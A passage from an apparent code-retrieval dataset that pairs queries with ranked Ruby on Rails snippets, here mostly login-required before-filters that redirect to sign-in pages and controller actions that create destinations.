"text": "def reset_client_ssl_statistics\n super\n end",
"title": ""
},
{
"docid": "0dabeb7bbfe3fd9970b20d33682776c0",
"score": "0.5861526",
"text": "def ssl?\n https? || socks4? || socks5?\n end",
"title": ""
}
] |
441ee69b2991482676c2b12008601aa0
|
Prior to loading a page, this function will check if the enduser is logged in as a User. If they are not, it will redirect the to the Sign In page and require them to log in as a User.
|
[
{
"docid": "ccb49e7a33aee8339ade23bdae682447",
"score": "0.0",
"text": "def require_login\n unless signed_in?\n flash[:error] = \"You must be logged in to access this section\"\n redirect_to signin_url # halts request cycle\n end\n end",
"title": ""
}
] |
[
{
"docid": "d973985f8873667bce051cf5e8fc06d3",
"score": "0.7798425",
"text": "def require_user\r\n if ##LOGIC##\r\n redirect_to '/user/sign_in'\r\n end\r\n end",
"title": ""
},
{
"docid": "2665fa79c69d9f920b270e19b030605e",
"score": "0.7780069",
"text": "def require_signin\n \tunless current_user\n # Stores the URL of the requested page in the session\n # before redirecting to the sign-in form.\n session[:intended_url] = request.url \n \t\tredirect_to new_session_url, alert: \"Please sign in first!\"\n \tend\n end",
"title": ""
},
{
"docid": "6857c220b311421c6590f5af94f7342b",
"score": "0.7732981",
"text": "def require_user\n unless logged_in?\n store_target_location\n flash[:notice] = \"Debe iniciar sesion para poder acceder a esta pagina\"\n redirect_to login_url\n return false\n end\n true\n end",
"title": ""
},
{
"docid": "c8bcfba31e3cc7dbccbba08c38593510",
"score": "0.76668924",
"text": "def require_user\n unless user_logged_in?\n flash[:danger] = 'You must sign in to view this page.'\n redirect_to root_path and return\n end\n end",
"title": ""
},
{
"docid": "97f5886f9cb2b7cf433143434651d888",
"score": "0.7622448",
"text": "def require_signin\n\t\tunless current_user\n\t\t\t# session[:intended_url] = request.url\n\t\t\t# redirect_to new_session_url, alert: \"Please sign in first\"\n\t\t\trender nothing: true, status: :unauthorized\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cd6d55e9b1865b5cd09eeddc30ba6a56",
"score": "0.757995",
"text": "def require_user\n return if current_uid\n\n store_location\n flash[:notice] = 'You must be logged in to access the page you requested'\n ret = url_for_with_proto({ controller: 'user_sessions', action: 'guest_login' })\n redirect_to(ret) && return\n end",
"title": ""
},
{
"docid": "bf037c0c8476e71ea9ec47a6eec81b06",
"score": "0.7549708",
"text": "def authenticate_and_load_user\n \t@logged_in_user = User.where(id:session[:user_id]).first\n\n \tif @logged_in_user.nil?\n \t\tflash[:error] = 'You must be authenticated to visit this page'\n \t\t# Save the user's intended destination in the session, so we can\n \t\t# take them there once they've logged in.\n \t\tsession[:requested_fullpath] = request.fullpath\n \t\tredirect_to controller:'public', action:'login'\n \t\tfalse # return false to prevent execution of controller methods\n \telse\n \t\ttrue\n \tend\n end",
"title": ""
},
{
"docid": "c8aa4ad259c27ef1474a6c76ae80d126",
"score": "0.75169235",
"text": "def require_user\n if current_user\n force_redirects\n true\n else\n Rails.logger.debug('User needs to be logged in')\n redirect_to login_url\n false\n end\n end",
"title": ""
},
{
"docid": "4ce75882aa2ed60fb59697157b926226",
"score": "0.74845356",
"text": "def require_signin\n # If the user is not signed in:\n unless signed_in?\n # Calls the store_location method to save the url the unsigned in user was trying to navigate to:\n store_location\n # Establishes an error to display:\n flash[:error] = \"You must be signed in to reach that page.\"\n # Sends the unsigned in user to the sign in page.\n redirect_to signin_path\n end\n end",
"title": ""
},
{
"docid": "02f45faa76818a24610acc2f214c678b",
"score": "0.74501926",
"text": "def require_user\n unless current_user\n store_location\n flash[:notice] = \": You must be logged in to access this page\"\n redirect_to new_user_session_url\n return false\n end\n end",
"title": ""
},
{
"docid": "3bd8df82d6cb8d86db61004a1c380ad1",
"score": "0.74438304",
"text": "def require_user\n unless current_user\n store_location\n flash[:notice] = \"You must be logged in to access this page\"\n redirect_to new_user_session_url\n return false\n end\n end",
"title": ""
},
{
"docid": "8fea0a60b7062e632ccc0062b27ce3d9",
"score": "0.74346757",
"text": "def require_user\n unless current_user\n #store_location\n flash[:notice] = \"You must be logged in to access this page\"\n redirect_to new_user_session_url \n return false\n end\n end",
"title": ""
},
{
"docid": "d4b52b106ad6a7b9289cece23b317997",
"score": "0.7428573",
"text": "def require_user\n unless current_user\n store_location\n flash[:notice] = \"You must be logged in to access this page.\"\n redirect_to new_user_session_url\n return false\n end\n end",
"title": ""
},
{
"docid": "d2ead9af12a0b4e61d4b2f6fe9997683",
"score": "0.741448",
"text": "def require_user\n unless current_user\n store_location\n flash[:notice] = \"You must be logged in to access this page\"\n redirect_to new_user_session_url\n return false\n end\n end",
"title": ""
},
{
"docid": "a3de8d118de51787006bf3fcef6f11e5",
"score": "0.7411572",
"text": "def require_user\n if session[:uid].blank?\n redirect_to signin_url, :notice => \"Please sign in first.\"\n return\n end\n @user = current_user\n end",
"title": ""
},
{
"docid": "524fa820b5189ad0d51640db323eb845",
"score": "0.7398905",
"text": "def require_user\n\t\tredirect_to \"/login\" unless current_user\n\tend",
"title": ""
},
{
"docid": "b9ffab3a5d2d56eeed619379e55a4551",
"score": "0.7396671",
"text": "def login_required\n unless session[:user_id].present?\n redirect_to login_user_index_path\n end\n end",
"title": ""
},
{
"docid": "f09b458b28fcc28669b5c7ec242273ee",
"score": "0.73848957",
"text": "def user_signin_status\n unless user_signed_in?\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "83e05f09d67afe9ea59e69ea02661867",
"score": "0.73765236",
"text": "def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end",
"title": ""
},
{
"docid": "1bfbcb3d52eee2c17a94425d1499829e",
"score": "0.73356456",
"text": "def logged_in_verification\n if is_logged_in?(session)\n @user = current_user(session)\n else\n flash[:message] = \"You must be logged in to access that page.\"\n redirect \"/login\"\n end\n end",
"title": ""
},
{
"docid": "776728aa89d362b13dd5728b28544e04",
"score": "0.7326502",
"text": "def logged_in_user\n return if logged_in?\n\n store_location\n flash[:danger] = 'Please log in first'\n render 'sessions/new', status: :unauthorized\n true # return true to indicate that this triggered things\n end",
"title": ""
},
{
"docid": "031133603f82b92bfc0f84a7a2a24e1e",
"score": "0.73158973",
"text": "def require_logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Veuilliez vous connecter svp.\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "21b0e213f12cc777bc1a308cffcf3b18",
"score": "0.7314677",
"text": "def require_sign_in\n unless current_user\n flash['info'] = I18n.t 'billfold.please_sign_in'\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "9114243caec88332b801560e2983e8b1",
"score": "0.7305382",
"text": "def require_user\n logger.debug \"ApplicationController::require_user\"\n if current_user\n return true\n else\n flash[:error] = \"You must be logged in to access this page.\"\n if Rails.env.development? || ENV['DEBUG_ACCESS'].present?\n redirect_to \"/users/auth/developer\"\n else\n redirect_to user_omniauth_authorize_path(:saml)\n end\n return false\n end\n end",
"title": ""
},
{
"docid": "0d22352624b19479c98ef36fab27e272",
"score": "0.72959816",
"text": "def make_sure_logged_in\n\t\tif not current_user.present?\n\t\t\tflash[:error] = \"You must be signed up to see this page\"\n\t\t\tredirect_to new_user_path\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5728451500ad2b4c70154f9c625004b0",
"score": "0.72924745",
"text": "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "e4db8ebddd84eb7cae579f37389d0db1",
"score": "0.72894293",
"text": "def require_sign_in\n unless current_user\n flash[:alert] = \"You must be logged in to do that\"\n # #11\n redirect_to new_session_path\n end\n end",
"title": ""
},
{
"docid": "11f005b56aeee9033bc062dd28ab193c",
"score": "0.72762954",
"text": "def require_user\n if !is_logged_in\n flash[:danger] = 'You must be logged in to perform this action'\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "bc6bcd57f6f0ecc55adda00c1d97b7d7",
"score": "0.72544426",
"text": "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "fd4cfd24dfaf4569c01a31f4048a9717",
"score": "0.72473574",
"text": "def authenticate!\n\t #when we solve the require relative problem write the line: unless session[:user_id] && User.where(id: session[:user_id])\n\n\t\tif session[:user_id] && User.where(id: session[:user_id]).exists? #if the user id saved in session does not belong to any user, also direct to general homepage\n\t\t\ttrue\n\t\telse\n\t\t\tsession[:original_request] = request.path_info\n\t\t\tfalse\n\t\tend\nend",
"title": ""
},
{
"docid": "efc502342a27d914d45b369307b1b773",
"score": "0.7243949",
"text": "def require_signin\n\t\tunless current_user\n\t\t\tflash[:notice] = \"You must be signed in to use WODapp\"\n\t\t\tredirect_to new_user_path\n\t\tend\t\n\tend",
"title": ""
},
{
"docid": "9aaab9aa2496471d226bd50ae38a4540",
"score": "0.7241715",
"text": "def require_sign_in\n # if you are not signed in as a current_user via Session, return to new_session_path\n # with an alert\n unless current_user\n flash[:alert] = 'You must be logged in to do that'\n\n redirect_to new_session_path\n end\n end",
"title": ""
},
{
"docid": "1d94e2e2efe8fc862973e192aa79de9f",
"score": "0.72351515",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to do that.\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "79fecf164ad2f46f73461119696b6413",
"score": "0.7232254",
"text": "def require_user\n\t\tif !logged_in?\n\t\t\tflash[:notice] = \"You must be logged in to perform this action\"\n\t\t\tredirect_to login_path\n\t\tend\n\tend",
"title": ""
},
{
"docid": "88d4e29b148d9ee5d91d3414c5ce222f",
"score": "0.72282",
"text": "def require_user\n if current_user?\n if (is_admin?||is_manager_for?(@account.account_resource_id))\n true\n else\n render :text => \"unauthorized!\", :status => 401\n return\n end\n else\n redirect_to \"/sso/login?return_to=#{request.url}\"\n false\n end\n end",
"title": ""
},
{
"docid": "670aab801fb06fe232ab7736b167618f",
"score": "0.72206944",
"text": "def must_be_logged_in\n unless current_user\n redirect_to new_user_session_path\n end\n end",
"title": ""
},
{
"docid": "ca80d21f77868989c9f717a0d5d96c28",
"score": "0.7218947",
"text": "def require_user\n #if not logged in \n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n \n \n end",
"title": ""
},
{
"docid": "c75af1380deb890da05b136e07f33246",
"score": "0.72138864",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform this action\"\n redirect_to :back\n end\n end",
"title": ""
},
{
"docid": "9f9250d7d51e5eb213fa76a8a37a8ffd",
"score": "0.7213624",
"text": "def check_logged_in\n unless current_user\n redirect_to '/login'\n end\n end",
"title": ""
},
{
"docid": "e53aa6f41a323ab5760701d7feb25faf",
"score": "0.7213173",
"text": "def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end",
"title": ""
},
{
"docid": "e53aa6f41a323ab5760701d7feb25faf",
"score": "0.7213173",
"text": "def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end",
"title": ""
},
{
"docid": "13d13d0bb838be444a0d1ab79653625d",
"score": "0.7212466",
"text": "def require_user\n unless current_user\n store_location\n flash[:notice] = I18n.t('authlogic.error_messages.must_be_logged_in')\n respond_to do |format|\n format.html { redirect_to root_path }\n end\n return false\n end\n end",
"title": ""
},
{
"docid": "2cedb7a860260b6d4680d93d9c1c2a28",
"score": "0.7204015",
"text": "def require_signed_in\n if !user_signed_in?\n #TODO: Add flash alert\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "6b5abc71a33a8dac9404eb82f79cd561",
"score": "0.72020656",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "23d8c2dea8e64d0dceaec5893169940d",
"score": "0.71958464",
"text": "def user_authenticated\n redirect_to root_url, alert: 'You must be logged in to go here' unless current_user\n end",
"title": ""
},
{
"docid": "96bc3f873ebf73c7673eaec15595ec5f",
"score": "0.7194275",
"text": "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform the action\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "47d7123542bd3cf16ac6e55b02952f56",
"score": "0.7189524",
"text": "def logged_in_user\n if user_signed_in? then\n \n else\n redirect_to root_path\n end \n \n end",
"title": ""
},
{
"docid": "8579de4c3883c06bbc3940f5273ae029",
"score": "0.71828496",
"text": "def make_sure_logged_in\n\n\t\tif current_user.nil?\n\n\t\tflash[:error] = \"You need to be signed up\"\n\n\t\tredirect_to new_user_path\n\n\n\t\tend\n\n\n\n\n\tend",
"title": ""
},
{
"docid": "049abe425a0ac6a4a132736fdde8f3a9",
"score": "0.71691203",
"text": "def user_redirect_check\n if session[:user_id] && current_user\n return true\n else\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "a303ab11713de1201ae21b2c805d9ee7",
"score": "0.7168342",
"text": "def require_user\n unless current_user\n store_location\n flash[:warning] = t(\"common.login_required\")\n redirect_to login_url\n return false\n end\n end",
"title": ""
},
{
"docid": "8680a9b220aeb3dfce81ba2304f4b16b",
"score": "0.71670645",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "d2a6afa27684673ada91ea0277ed8a75",
"score": "0.715861",
"text": "def require_login\n unless user_signed_in?\n flash[:danger] = \"서비스 이용을 위한 로그인이 필요합니다.\"\n redirect_to '/users/sign_in' # halts request cycle\n end\n end",
"title": ""
},
{
"docid": "750c905cd27e59169179e582fb9d7445",
"score": "0.7150672",
"text": "def require_user\n #if not logged in \n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n #then redirect them away\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "74c4110a96fd92ce67a1821db3b3e68a",
"score": "0.71467316",
"text": "def check_end_user_auth\n user = EndUser.try_get_logged_in_user(request.headers)\n\n if user.nil?\n response.status = 401\n redirect_to unauthorized_path\n\n return false\n end\n session['end_user'] = user\n end",
"title": ""
},
{
"docid": "ff1c5ff6cf2395445fa132f41010c2e1",
"score": "0.7146092",
"text": "def logged_in_user\n unless logged_in?\n redirect_to login_url, flash: { danger: \"Please log in.\" }\n end\n end",
"title": ""
},
{
"docid": "bf21eef46165cd69ba19acd2db6eee3f",
"score": "0.7138717",
"text": "def make_sure_logged_in\n\n\t\tif current_user.nil?\n\n\t\tflash[:error] = \"You need to be signed up\"\n\t\tredirect_to new_user_path \n\n\n\t\tend\t\n\n\n\tend",
"title": ""
},
{
"docid": "93f427bca386134248cc8692c79665e8",
"score": "0.71345735",
"text": "def require_user\n if current_user && !current_user.admin?\n redirect_to logout_path\n return false\n end\n\n unless current_user\n redirect_to login_path\n return false\n end\n end",
"title": ""
},
{
"docid": "a5038c48655fed7f671d7c7aacad5316",
"score": "0.71329933",
"text": "def logged_in_user\n if !logged_in?\n flash[:failure] = \"You must sign in first.\"\n redirect_to(login_url)\n end\n end",
"title": ""
},
{
"docid": "a5038c48655fed7f671d7c7aacad5316",
"score": "0.71329933",
"text": "def logged_in_user\n if !logged_in?\n flash[:failure] = \"You must sign in first.\"\n redirect_to(login_url)\n end\n end",
"title": ""
},
{
"docid": "0b06a810dc05a9f7a02ac4b71fc241e8",
"score": "0.712829",
"text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:alert] = \"Please sign up or log in\"\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "b143eb4d822f5f930d8af50bfa34c963",
"score": "0.7124588",
"text": "def logged_in_user\n unless logged_in?\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "ec177fd044c6fbbf1dde9ea0b7e4a714",
"score": "0.711958",
"text": "def check_session\n if session[:user_id].nil?\n session[:return_to] = request.request_uri\n flash[:messgae] = \"Please sign-in or sign-up to access any of these pages.\"\n redirect_to :controller => 'user', :action => 'index'\n return\n end\n end",
"title": ""
},
{
"docid": "ffb6d712a4908040e536aa8a4bd7c398",
"score": "0.7113633",
"text": "def auth\n #redirect to login page unless already logged in\n redirect_to new_user_session_path, alert: \"You must login to access that page\" unless logged_in?\n end",
"title": ""
},
{
"docid": "551ea8417164dd16ad43aa121737415f",
"score": "0.7111963",
"text": "def require_login\n unless current_user\n redirect_to signin_path\n end\n end",
"title": ""
},
{
"docid": "6464ebad7596c6994b956d20f1e341ab",
"score": "0.7104311",
"text": "def logged_in_user\n unless logged_in?\n store_location # Store the website that the user is trying to access - this function is a sessions helper\n flash[:danger] = \"You need to log in to access this page.\"\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "80dee6c96e5cb333cb69e55508afc010",
"score": "0.7100955",
"text": "def check_logged_in\n if !user_signed_in?\n redirect_to new_user_session_path\n end\n\n return\n end",
"title": ""
},
{
"docid": "976cb7c0ae229fbb830ceb59187cf2ef",
"score": "0.70928377",
"text": "def logged_in_user\n unless logged_in?\n flash[:warning] = \"Please log in\"\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "25cf2a8805d2c40373abcc1083f7c8c0",
"score": "0.70924205",
"text": "def require_user\n redirect_to '/login' unless current_user\n end",
"title": ""
},
{
"docid": "25cf2a8805d2c40373abcc1083f7c8c0",
"score": "0.70924205",
"text": "def require_user\n redirect_to '/login' unless current_user\n end",
"title": ""
},
{
"docid": "a6a3981d9c1b14d3ade1db959c93fb85",
"score": "0.7092172",
"text": "def logged_in?\n unless User.find_by(id:session[:user_id])\n redirect_to login_url, notice:\"Please log in as a user before viewing this page.\"\n end\n end",
"title": ""
},
{
"docid": "74b2e67e3d972d26f0a625627359b26c",
"score": "0.7090979",
"text": "def require_user \n redirect_to '/login' unless current_user \n end",
"title": ""
},
{
"docid": "74b2e67e3d972d26f0a625627359b26c",
"score": "0.7090979",
"text": "def require_user \n redirect_to '/login' unless current_user \n end",
"title": ""
},
{
"docid": "7dcae67f31d1a6c47033be572855a5ca",
"score": "0.70907223",
"text": "def require_user\n if !logged_in?\n # flash message\n flash[:danger] = \"You must be logged in to perform that action.\"\n # and redirect to index page\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "bc9d80873e6e9327271beb8b60fd1717",
"score": "0.7089021",
"text": "def require_user\n #If not logged in display message then return to home page\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "579bd26c52027a2a0801df8b83d1eb35",
"score": "0.70864487",
"text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to user_login_url\n end\n end",
"title": ""
},
{
"docid": "ba4dbec7c70597e7eac1512cf323ea0b",
"score": "0.7073928",
"text": "def require_user\n unless current_user\n store_location\n flash[:notice] = t('defaults.require_user')\n redirect_to new_user_session_url\n return false\n end\n end",
"title": ""
},
{
"docid": "0e410e501eecbb3fdf3cdb8d8aea8219",
"score": "0.7073018",
"text": "def logged_in_user\n unless logged_in?\n redirect_to '/login'\n end\n end",
"title": ""
},
{
"docid": "b58f4dbb90e4ad3f83b980f740cce187",
"score": "0.7068632",
"text": "def auth_user\n redirect_to new_user_session_url unless user_signed_in?\n end",
"title": ""
},
{
"docid": "59cb584b7ee02aa621d08518871f07c8",
"score": "0.70679104",
"text": "def requires_login\n unless user_logged_in?\n return redirect_to login_index_path, notice: \"You must login to view that page.\"\n end\n end",
"title": ""
},
{
"docid": "10feff5f56980cf4892c28a0dbd1990f",
"score": "0.7065394",
"text": "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "c45ef52b541d3a4012a0843c59a12655",
"score": "0.7063",
"text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in first.\"\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "c6ba88a48c4af4004d424b966095f23f",
"score": "0.7062223",
"text": "def signed_in_user\n\t\t\tredirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n\t\tend",
"title": ""
},
{
"docid": "1b96c8d98b203d3193c767a78c5b26f2",
"score": "0.70564604",
"text": "def logged_in_user\n unless logged_in?\n flash[:info] = \"Please log in!\"\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "2e73ed831c9154ee82594ed41c8dc65e",
"score": "0.7056014",
"text": "def logged_in_user\n unless !current_user.nil?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "d668a7fba6a9f9ab43df8e15e0258da2",
"score": "0.7054964",
"text": "def logged_in_user\n unless current_user\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "a50f556fc6f436c446e8849e8d795ea2",
"score": "0.7051275",
"text": "def logged_in_user\n unless logged_in?\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "64a48c240c3548327fb60fe610ae21fb",
"score": "0.7050814",
"text": "def require_logged_in\n redirect_to root_path unless logged_in?\n end",
"title": ""
},
{
"docid": "9c0ad745c0303a453b68e3785201df3b",
"score": "0.7047962",
"text": "def logged_in_user\n unless current_user \n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "819b0bee91b450c488f0b87984c9eba2",
"score": "0.7047144",
"text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to signin_url\n end\n end",
"title": ""
},
{
"docid": "591186d04e236a9b0ebb0d5f82eecc86",
"score": "0.7046375",
"text": "def logged_in_user\n unless logged_in?\n flash[:negative] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "a3250b97f10c7f41cbe6cb1dd5e9ff26",
"score": "0.7045336",
"text": "def check_user\n if (!user_signed_in?)\n redirect_to root_path, notice: 'You must log in to do that'\n end\n # if (!current_user.superadmin_role)\n # redirect_to root_path, notice: 'You do not have permissions to do that'\n # end\n end",
"title": ""
},
{
"docid": "a228a5254c1645937b6bdbcd3629226d",
"score": "0.704097",
"text": "def login_required\n \t\t redirect_to(root_url, notice: 'You have to be signed in to do that! Top right ~') unless current_user\n \tend",
"title": ""
},
{
"docid": "e14d4404a33a26a9ccf8fbe74ddf646e",
"score": "0.7025202",
"text": "def require_login\n\t\tunless current_user\n\t\t\tredirect_to login_url\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a367a73a13afcebdbbc2b33beb34325f",
"score": "0.7022369",
"text": "def logged_in_user?\n if logged_in?\n redirect_to user_path(current_user)\n end\n end",
"title": ""
},
{
"docid": "c0d4af5398d098f9c0de8adf5e577751",
"score": "0.70212835",
"text": "def verify_logged_in\n redirect_to root_path unless logged_in?\n end",
"title": ""
},
{
"docid": "3654fae92efad0901fca4f10d787f269",
"score": "0.7017714",
"text": "def require_user\n if current_user\n return true\n end\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "ca9a962e9c6dae1dfea3ca5d68dc398b",
"score": "0.70172656",
"text": "def logged_in_user\n #this only runs if the user is NOT logged in\n #logged_in method comes from the sessions helper file, and returns a boolean\n unless logged_in?\n #this method comes from the sessions_helper file. it stores where you were trying to go, so that after you log in, it will get you there. reference comments in the helper file.\n store_location\n #adds a flash - it is not flash.now because it is redirected to the login page, so that login page counts as a new request which is what we want.\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"title": ""
},
{
"docid": "2acbe4e841013a4fc3b9f84de1448790",
"score": "0.7016683",
"text": "def check_if_logged_in\n redirect_to(new_user_path) if @current_user.nil?\n end",
"title": ""
},
{
"docid": "2acbe4e841013a4fc3b9f84de1448790",
"score": "0.7016683",
"text": "def check_if_logged_in\n redirect_to(new_user_path) if @current_user.nil?\n end",
"title": ""
},
{
"docid": "367b8f96e6fcdae720705a6149a7d6e7",
"score": "0.7016502",
"text": "def require_login\n if !current_user\n redirect_to \"/\"\n end\n end",
"title": ""
},
{
"docid": "0b39c90a87cf8a71acec556af4d8c022",
"score": "0.70164263",
"text": "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end",
"title": ""
}
] |
c1f09587834be16d963343720ad15529
|
POST /destinations POST /destinations.json
|
[
{
"docid": "f3d30628e7da41f10b8e51ffd0a8d7b4",
"score": "0.6823449",
"text": "def create\n @trip = Trip.find(params[:trip_id])\n @destination = @trip.destinations.new(destination_params)\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to trip_destination_path(@trip, @destination), notice: 'Destination was successfully created.' }\n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "0f0d64f95c51280925fd8526369e2046",
"score": "0.68324953",
"text": "def create\n @destination = Destination.new(params[:destination])\n\n if @destination.save\n render json: @destination, status: :created, location: @destination\n else\n render json: @destination.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1659f7a5654eeb05f7dce0597410c594",
"score": "0.66508293",
"text": "def create_destinations_with_http_info(destinations_list, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.create_destinations ...'\n end\n # verify the required parameter 'destinations_list' is set\n if @api_client.config.client_side_validation && destinations_list.nil?\n fail ArgumentError, \"Missing the required parameter 'destinations_list' when calling DispatchApi.create_destinations\"\n end\n # resource path\n local_var_path = '/dispatch/destinations'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(destinations_list)\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#create_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "92cd359e30ce966886648096b6971065",
"score": "0.6630971",
"text": "def create_destinations_with_http_info(destinations_list, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.create_destinations ...'\n end\n # verify the required parameter 'destinations_list' is set\n if destinations_list.nil?\n fail ArgumentError, \"Missing the required parameter 'destinations_list' when calling DispatchApi.create_destinations\"\n end\n # resource path\n local_var_path = '/dispatch/destinations'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(destinations_list)\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#create_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "6500058ec77daaa55a3b9a4a07a84dc6",
"score": "0.6454941",
"text": "def create\n @destination = Destination.new(params[:destination])\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to destinations_path, notice: I18n.t('activerecord.successful.messages.created', :model => @destination.class.model_name.human) }\n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1dd07c446fd351123ccc842e52951a24",
"score": "0.6454834",
"text": "def create\n @destination = @organism.destinations.new(destination_params)\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to admin_organism_destinations_path(@organism),\n notice: \"L'activité #{@destination.name} a été créée.\" }\n \n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fcd8a57360945cab345c8e15348ba00",
"score": "0.6424447",
"text": "def create\n @destination = Destination.new(params[:destination])\n @destination.save\n respond_with(@destination)\n end",
"title": ""
},
{
"docid": "1076bfb0fbafc2e944197663753d8a9a",
"score": "0.64140487",
"text": "def create\n @destination = Destination.new(destination_params)\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to @destination, notice: \"Destination was successfully created.\" }\n format.json { render :show, status: :created, location: @destination }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b003a9eb2bd3970b9cd3bf9f79ea3da8",
"score": "0.6408327",
"text": "def update\n itinerary = Itinerary.find(params[:id])\n\n respond_to do |format|\n if itinerary.update_attributes(params[:itinerary])\n itinerary.destinations.delete_all\n params[:destinations].each { |address| itinerary.destinations << Destination.create( :address => address ) }\n format.json { render :json => [itinerary.as_json(:include => :destinations)] }\n else\n format.json { render json: itinerary.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6d923e0ab6a659991348a105de30f01c",
"score": "0.63648164",
